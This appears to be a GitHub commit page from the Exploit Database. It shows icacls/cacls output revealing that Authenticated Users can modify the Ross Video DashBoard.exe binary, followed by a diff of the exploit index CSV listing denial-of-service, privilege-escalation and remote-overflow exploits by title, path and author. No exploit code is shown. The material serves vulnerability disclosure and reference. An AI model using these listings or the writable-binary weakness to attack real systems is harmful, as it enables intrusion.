C:\DashBoard>icacls DashBoard.exe && cacls DashBoard.exe
DashBoard.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
C:\DashBoard\DashBoard.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

View file

@ -6395,6 +6395,9 @@ id,file,description,date,author,type,platform,port
46732,exploits/windows/dos/46732.py,"Ease Audio Converter 5.30 - '.mp4' Denial of Service (PoC)",2019-04-22,Achilles,dos,windows,
46733,exploits/hardware/dos/46733.py,"QNAP myQNAPcloud Connect 1.3.4.0317 - 'Username/Password' Denial of Service",2019-04-22,"Dino Covotsos",dos,hardware,
46735,exploits/multiple/dos/46735.html,"Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-Memory in Invalid Table Size Denial of Service (PoC)",2019-04-22,"Bogdan Kurinnoy",dos,multiple,
46743,exploits/linux/dos/46743.txt,"systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit",2019-04-23,"Google Security Research",dos,linux,
46744,exploits/linux/dos/46744.c,"Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition",2019-04-23,"Google Security Research",dos,linux,
46745,exploits/linux/dos/46745.txt,"Linux - 'page->_refcount' Overflow via FUSE",2019-04-23,"Google Security Research",dos,linux,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -10433,6 +10436,7 @@ id,file,description,date,author,type,platform,port
46727,exploits/multiple/local/46727.rb,"LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)",2019-04-18,Metasploit,local,multiple,
46730,exploits/linux/local/46730.rb,"SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)",2019-04-19,Metasploit,local,linux,
46737,exploits/windows/local/46737.py,"LabF nfsAxe 3.7 Ping Client - 'Host IP' Buffer Overflow (Direct Ret)",2019-04-22,"Dino Covotsos",local,windows,
46742,exploits/windows/local/46742.txt,"Ross Video DashBoard 8.5.1 - Insecure Permissions",2019-04-23,LiquidWorm,local,windows,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139

Can't render this file because it is too large.